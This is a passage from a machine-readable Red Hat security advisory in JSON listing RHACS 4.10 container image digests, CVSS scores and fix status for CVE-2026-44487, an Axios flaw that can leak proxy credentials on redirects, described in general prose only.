"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:f6db822767d0e5c8d3544cdbc565e58880dd1a628465100edef7c5a2d7510abe_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:4aab8cb0a2e5b8518bdd01bc0557c7768ca40b080b9a907d5885d3743debb627_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:e5659b1d9790c4bd5df3093b0a36dd4a0ca64ba224924d37e9dafc6aff5c83df_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:ea9fba7212bc0621e1ed6b030b4c8a1fbe3a0f2491b6fdc192c14f8ef7a6ae27_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:fa3a268f648bce0d881c1b26395cbf16f4d556483e4455f17dfa5968438d4152_ppc64le"
]
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"version": "3.1"
},
"products": [
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:04e380e189febad5d8dcbfaa68643963ab8d65d7089d32e30a1276837605e03a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:10b0b798c4690002c7ffe064b84cf5d0bb6f52045cd15bfe79b15bd68d4fbe8c_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:444df0b47d23743e19022b4a92e2ee9dd345598fb31f9b947f0bbdab7f59d90e_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:a32574be1c7a5a9ef0aa8b8ce4946ffe4920cb72b402eb17d1ca07c43925faef_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:1563b3a0da76d7b35ecc4c563a8d347e9a558c8043da5c9588ad2f7f943a7ece_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:56e67cf62ffe4982d358ae06098da48f44175cd63239ebfb711b476404abb31a_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:e077a56adee93c70cc339a83e47805691758c4e187195b0dd1d567133a5b6661_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:fe09f895ec18082b40abbcd7e546bb4bfeceb8dd4d7f1bed85310096333baa1d_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-fact-rhel8@sha256:71e40863edd8c6275921449d977c396bf066e3ce87ad2c0e61f80003202637ab_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-fact-rhel8@sha256:b4789552297c62abde45025c53087f258273431fc4921cab693997bb3aebfaff_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:16792cdca53b00c9f3b8a318270fe2970ee8a8b5b7b54a68f3e3c8412f30d802_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:1c803425800df9af39869d7fe6512c954261a24228f017b8751d6fc93ee14d94_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:7a45d15348cd7c48aada943ba0e9d6381f845267873d5c81cfaf501de2a3ae5b_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:89e70cfaebf46d63cd2c3ddcb4f5b44cfca68d8ec7379a00da7266da7a91f20c_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-operator-bundle@sha256:dbbd62683e39389f91b5937a9d17a414243db53bb901ba7ebe17d24f8c78480e_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:4713cf6657eee34d58a329610050db2c3884b635260935ca69099be6bdd62400_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:a7a9a2165e13c9be2ccc1bcc157b33f1c3994256baf43f4ac4a76021c0880278_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:cde020c47589fd802cda98804da44218f34eec63396efb166a81274617d8acf4_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:ceda1bd9270d37f947b4141be2a134767997f5135003b9d1f2007aed21c53a1e_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:0c5bd402788e93b9795dbaa3dd82272339858972059e0e1017bb12a7a5fa52a1_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:51c6efd982283db3ffeebc152e58874601f1660ce76700c7110d11bca1d06688_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:9ec58aa0b8f1617d0a3e824cadaa8c939dada1f22e98c3a818bd85b0947dd9a5_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:a0b8260a0c9b73d802891463c5427d1f3607acd62da928b1e4bd8aa7993649d4_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:348379199252e9c10cdc6268ce42ce039f12adc6e8e588b8105d2ce1e81ae439_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:423d831317c9019733c1b2191568dd4f00890a4d4e26ada3067b7ba43a2b9b48_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:9609056d08c8aff42326b2dea7733dc89ddfa019466c223bc0dfd22822627416_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:b693c67103bee5f49185b7cb2322ff174954b115938f0696d53a25b43f63f972_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:7624c0fe4943f89cb8ca709a9d84004ffe4a533498d2bba21a83a811e16da2a9_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:905f591f2e1e2e3dbd17bc8b1f903ae7b5fc8e573f3708eb3a97a70c5dc412dc_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:cefa60dedb2d65ba3d9324b7d37ef997300720f2e006014c1c79731ed3a1b2ba_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:f1c6ac0330ce4337dff577ed282f1aaec462027edb0ef3a48db11f8eea9be6e4_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:43b201e72f0ab1a59dddb5608bc814607ff1138572af3052af0199c468cecc47_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:68773c7eebb7f9764e3b0e6a49f7b025896764016896022504b7876ebc269af5_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:93ac1f8d14c6402ffa441b692ba8a28f95990a254835c69bf37165164eae895b_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:f94d97d4e1c5a2d50b3a7be98032c4f54f7582300d27de605f804d041916a7b6_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:0cbdb571c33cc7f78a4ace9ac32271cabce2fb585d758972053924440a15d1f7_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:27ad8f03033572bac8d6e87a78a49018e5d1b6b4dfd0096365ec8668f1c97771_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:91ab6414f8e3559e3a424882dc40fe953990a6ad5efcaeb50fe0a6756f3e20c7_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:b5ee8b86ee6a8474158e60cfc26a676a355a9ed98076b73f905bca42b1085329_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:0d0f3c45b3806a428c1dcdb9814699a44d067398854adde5e8f984481496deaf_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:76c6c09e9315ad9b83ec34d0825a94bdb90effcc072d58f9cf6c6b60ab0365aa_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:8fd4674c282ee4da0095ea9611b25d25c4d70d522976fd7557eb93d07ca09296_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:f6db822767d0e5c8d3544cdbc565e58880dd1a628465100edef7c5a2d7510abe_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:4aab8cb0a2e5b8518bdd01bc0557c7768ca40b080b9a907d5885d3743debb627_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:e5659b1d9790c4bd5df3093b0a36dd4a0ca64ba224924d37e9dafc6aff5c83df_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:ea9fba7212bc0621e1ed6b030b4c8a1fbe3a0f2491b6fdc192c14f8ef7a6ae27_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:fa3a268f648bce0d881c1b26395cbf16f4d556483e4455f17dfa5968438d4152_ppc64le"
]
}
],
"threats": [
{
"category": "impact",
"details": "Important"
}
],
"title": "axios: Axios: Information disclosure of proxy credentials via HTTP redirects"
},
{
"cve": "CVE-2026-44487",
"cwe": {
"id": "CWE-201",
"name": "Insertion of Sensitive Information Into Sent Data"
},
"discovery_date": "2026-06-11T17:01:34.091476+00:00",
"flags": [
{
"label": "vulnerable_code_not_present",
"product_ids": [
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:04e380e189febad5d8dcbfaa68643963ab8d65d7089d32e30a1276837605e03a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:10b0b798c4690002c7ffe064b84cf5d0bb6f52045cd15bfe79b15bd68d4fbe8c_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:444df0b47d23743e19022b4a92e2ee9dd345598fb31f9b947f0bbdab7f59d90e_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:a32574be1c7a5a9ef0aa8b8ce4946ffe4920cb72b402eb17d1ca07c43925faef_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:1563b3a0da76d7b35ecc4c563a8d347e9a558c8043da5c9588ad2f7f943a7ece_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:56e67cf62ffe4982d358ae06098da48f44175cd63239ebfb711b476404abb31a_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:e077a56adee93c70cc339a83e47805691758c4e187195b0dd1d567133a5b6661_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:fe09f895ec18082b40abbcd7e546bb4bfeceb8dd4d7f1bed85310096333baa1d_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-fact-rhel8@sha256:71e40863edd8c6275921449d977c396bf066e3ce87ad2c0e61f80003202637ab_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-fact-rhel8@sha256:b4789552297c62abde45025c53087f258273431fc4921cab693997bb3aebfaff_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-operator-bundle@sha256:dbbd62683e39389f91b5937a9d17a414243db53bb901ba7ebe17d24f8c78480e_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:4713cf6657eee34d58a329610050db2c3884b635260935ca69099be6bdd62400_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:a7a9a2165e13c9be2ccc1bcc157b33f1c3994256baf43f4ac4a76021c0880278_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:cde020c47589fd802cda98804da44218f34eec63396efb166a81274617d8acf4_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:ceda1bd9270d37f947b4141be2a134767997f5135003b9d1f2007aed21c53a1e_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:0c5bd402788e93b9795dbaa3dd82272339858972059e0e1017bb12a7a5fa52a1_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:51c6efd982283db3ffeebc152e58874601f1660ce76700c7110d11bca1d06688_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:9ec58aa0b8f1617d0a3e824cadaa8c939dada1f22e98c3a818bd85b0947dd9a5_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:a0b8260a0c9b73d802891463c5427d1f3607acd62da928b1e4bd8aa7993649d4_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:348379199252e9c10cdc6268ce42ce039f12adc6e8e588b8105d2ce1e81ae439_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:423d831317c9019733c1b2191568dd4f00890a4d4e26ada3067b7ba43a2b9b48_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:9609056d08c8aff42326b2dea7733dc89ddfa019466c223bc0dfd22822627416_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:b693c67103bee5f49185b7cb2322ff174954b115938f0696d53a25b43f63f972_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:7624c0fe4943f89cb8ca709a9d84004ffe4a533498d2bba21a83a811e16da2a9_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:905f591f2e1e2e3dbd17bc8b1f903ae7b5fc8e573f3708eb3a97a70c5dc412dc_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:cefa60dedb2d65ba3d9324b7d37ef997300720f2e006014c1c79731ed3a1b2ba_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:f1c6ac0330ce4337dff577ed282f1aaec462027edb0ef3a48db11f8eea9be6e4_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:43b201e72f0ab1a59dddb5608bc814607ff1138572af3052af0199c468cecc47_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:68773c7eebb7f9764e3b0e6a49f7b025896764016896022504b7876ebc269af5_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:93ac1f8d14c6402ffa441b692ba8a28f95990a254835c69bf37165164eae895b_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:f94d97d4e1c5a2d50b3a7be98032c4f54f7582300d27de605f804d041916a7b6_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:0cbdb571c33cc7f78a4ace9ac32271cabce2fb585d758972053924440a15d1f7_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:27ad8f03033572bac8d6e87a78a49018e5d1b6b4dfd0096365ec8668f1c97771_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:91ab6414f8e3559e3a424882dc40fe953990a6ad5efcaeb50fe0a6756f3e20c7_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:b5ee8b86ee6a8474158e60cfc26a676a355a9ed98076b73f905bca42b1085329_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:0d0f3c45b3806a428c1dcdb9814699a44d067398854adde5e8f984481496deaf_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:76c6c09e9315ad9b83ec34d0825a94bdb90effcc072d58f9cf6c6b60ab0365aa_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:8fd4674c282ee4da0095ea9611b25d25c4d70d522976fd7557eb93d07ca09296_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:f6db822767d0e5c8d3544cdbc565e58880dd1a628465100edef7c5a2d7510abe_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:4aab8cb0a2e5b8518bdd01bc0557c7768ca40b080b9a907d5885d3743debb627_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:e5659b1d9790c4bd5df3093b0a36dd4a0ca64ba224924d37e9dafc6aff5c83df_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:ea9fba7212bc0621e1ed6b030b4c8a1fbe3a0f2491b6fdc192c14f8ef7a6ae27_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:fa3a268f648bce0d881c1b26395cbf16f4d556483e4455f17dfa5968438d4152_ppc64le"
]
}
],
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2487948"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in Axios. During specific proxy-to-direct redirect flows in the Node.js HTTP adapter, a remote attacker could exploit this vulnerability. The Proxy-Authorization header, which contains proxy credentials and is intended only for the outbound proxy, may be forwarded to the final redirected origin. This can lead to the disclosure of sensitive proxy credentials to an unintended third party.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "axios: Axios: Information disclosure of proxy credentials via redirect flows",
"title": "Vulnerability summary"
},
{
"category": "other",
"text": "This is an Important information disclosure flaw in Axios affecting Node.js environments. When an application uses Axios with an authenticated HTTP proxy and follows redirects from an HTTP to a non-proxied HTTPS destination, the Proxy-Authorization header may be inadvertently sent to the final origin server. This could lead to the exposure of sensitive proxy credentials to an unintended third party.",
"title": "Statement"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:16792cdca53b00c9f3b8a318270fe2970ee8a8b5b7b54a68f3e3c8412f30d802_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:1c803425800df9af39869d7fe6512c954261a24228f017b8751d6fc93ee14d94_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:7a45d15348cd7c48aada943ba0e9d6381f845267873d5c81cfaf501de2a3ae5b_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:89e70cfaebf46d63cd2c3ddcb4f5b44cfca68d8ec7379a00da7266da7a91f20c_amd64"
],
"known_not_affected": [
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:04e380e189febad5d8dcbfaa68643963ab8d65d7089d32e30a1276837605e03a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:10b0b798c4690002c7ffe064b84cf5d0bb6f52045cd15bfe79b15bd68d4fbe8c_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:444df0b47d23743e19022b4a92e2ee9dd345598fb31f9b947f0bbdab7f59d90e_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:a32574be1c7a5a9ef0aa8b8ce4946ffe4920cb72b402eb17d1ca07c43925faef_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:1563b3a0da76d7b35ecc4c563a8d347e9a558c8043da5c9588ad2f7f943a7ece_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:56e67cf62ffe4982d358ae06098da48f44175cd63239ebfb711b476404abb31a_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:e077a56adee93c70cc339a83e47805691758c4e187195b0dd1d567133a5b6661_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:fe09f895ec18082b40abbcd7e546bb4bfeceb8dd4d7f1bed85310096333baa1d_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-fact-rhel8@sha256:71e40863edd8c6275921449d977c396bf066e3ce87ad2c0e61f80003202637ab_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-fact-rhel8@sha256:b4789552297c62abde45025c53087f258273431fc4921cab693997bb3aebfaff_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-operator-bundle@sha256:dbbd62683e39389f91b5937a9d17a414243db53bb901ba7ebe17d24f8c78480e_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:4713cf6657eee34d58a329610050db2c3884b635260935ca69099be6bdd62400_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:a7a9a2165e13c9be2ccc1bcc157b33f1c3994256baf43f4ac4a76021c0880278_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:cde020c47589fd802cda98804da44218f34eec63396efb166a81274617d8acf4_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:ceda1bd9270d37f947b4141be2a134767997f5135003b9d1f2007aed21c53a1e_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:0c5bd402788e93b9795dbaa3dd82272339858972059e0e1017bb12a7a5fa52a1_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:51c6efd982283db3ffeebc152e58874601f1660ce76700c7110d11bca1d06688_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:9ec58aa0b8f1617d0a3e824cadaa8c939dada1f22e98c3a818bd85b0947dd9a5_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:a0b8260a0c9b73d802891463c5427d1f3607acd62da928b1e4bd8aa7993649d4_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:348379199252e9c10cdc6268ce42ce039f12adc6e8e588b8105d2ce1e81ae439_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:423d831317c9019733c1b2191568dd4f00890a4d4e26ada3067b7ba43a2b9b48_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:9609056d08c8aff42326b2dea7733dc89ddfa019466c223bc0dfd22822627416_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:b693c67103bee5f49185b7cb2322ff174954b115938f0696d53a25b43f63f972_s390x",
